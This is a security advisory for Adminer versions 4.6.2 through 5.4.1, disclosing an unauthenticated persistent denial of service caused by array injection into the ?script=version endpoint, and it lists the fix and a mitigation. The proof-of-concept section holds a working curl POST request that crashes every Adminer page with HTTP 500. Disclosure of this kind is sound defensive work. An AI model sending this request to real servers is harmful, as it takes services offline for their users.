GHSA-q4f2-39gr-45jh

Suggest an improvement
Source
https://github.com/advisories/GHSA-q4f2-39gr-45jh
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-q4f2-39gr-45jh/GHSA-q4f2-39gr-45jh.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-q4f2-39gr-45jh
Aliases
Published
2026-02-10T00:25:24Z
Modified
2026-02-10T03:05:19.116344Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint
Details

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of uploadtmpdir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript: - functions.js line 102-117: Creates iframe to https://www.adminer.org/version/ - Adminer.org sends signed version data via postMessage - JavaScript POSTs this to ?script=version - Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate: - Request origin (no CSRF token check for this endpoint) - Request source (any HTTP client can POST) - Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.


Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Database specific
{
    "nvd_published_at": "2026-02-09T22:16:04Z",
    "github_reviewed_at": "2026-02-10T00:25:24Z",
    "severity": "HIGH",
    "cwe_ids": [
        "CWE-20"
    ],
    "github_reviewed": true
}
References

Affected packages

Packagist / vrana/adminer

Package

Name
vrana/adminer
Purl
pkg:composer/vrana/adminer

Affected ranges

Type
ECOSYSTEM
Events
Introduced
4.6.2
Fixed
5.4.2

Affected versions

v4.*
v4.6.2
v4.6.3
v4.7.0
v4.7.1
v4.7.2
v4.7.3
v4.7.4
v4.7.5
v4.7.6
v4.7.7
v4.7.8
v4.7.9
v4.8.0
v4.8.1
v4.8.2
v4.9
v4.9.1
v4.9.2
v4.9.3
v4.9.4
v4.10
v4.11
v4.12
v4.13
v4.14
v4.16.0
v4.17.0
v4.17.1
v5.*
v5.0.0
v5.0.1
v5.0.2
v5.0.3
v5.0.4
v5.0.5
v5.0.6
v5.1.0
v5.1.1
v5.2.0
v5.2.1
v5.3.0
v5.4.0
v5.4.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-q4f2-39gr-45jh/GHSA-q4f2-39gr-45jh.json"